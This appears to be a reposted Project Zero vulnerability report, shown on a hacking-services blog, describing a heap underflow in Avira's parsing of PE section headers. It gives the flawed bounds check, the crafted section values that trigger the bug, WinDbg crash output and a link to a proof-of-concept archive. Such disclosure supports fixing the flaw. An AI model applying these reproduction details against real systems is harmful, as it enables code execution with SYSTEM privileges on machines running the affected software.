Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863556127

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=765

One of the things you might expect an Antivirus engine to do reliably is parse PE files. However, after some simple testing with Avira, I found a heap underflow (that is, writing *before* a heap allocation) parsing section headers. If a section header has a very large relative virtual address, Avira will wrap calculating the offset into a heap buffer, and write attacker controlled data to it (the data from section->PointerToRawData in the input file).

The code is doing something like:

if (Section->SizeOfRawData + Section->VirtualAddress < 8192) {
    buf = malloc(8192);

    memcpy(buf + Section->VirtualAddress, input + Section->PointerToRawData, Section->SizeOfRawData);
}


The bug is that you need to check if Section->VirtualAddress + Section->SizeOfRawData wraps. This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM.

To reproduce this bug, create an executable with a section like this:

  NAME          RVA      VSZ   RAW_SZ  RAW_PTR  nREL  REL_PTR nLINE LINE_PTR     FLAGS
  .text    ff003fff     1fff     1fff      200     0        0     0        0         0  ---

With Page heap enabled, this should crash reliably trying to memcpy the data from section.PointerToRawData

(e58.2b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=00000000 ecx=000007f7 edx=00000002 esi=35785219 edi=41294000
eip=7291545c esp=41bedaf0 ebp=41bedaf8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
aecore!ave_proc+0x1fc2c:
7291545c f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:011> db esi
35785219  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785229  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785239  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785249  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785259  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785269  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785279  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785289  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

I think it started writing to ptr - 8192, lets see what's there:

0:011> db edi - (0n8192 - (ecx * 4)) 
41293fdc  00 00 00 41 41 41 41 41-41 41 41 41 41 41 41 41  ...AAAAAAAAAAAAA
41293fec  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41293ffc  41 41 41 41 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  AAAA????????????
4129400c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129401c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129402c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129403c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129404c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

Yes! 

Without page heap, you should get heap corruption, probably writing to 0x41414141.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39600.zip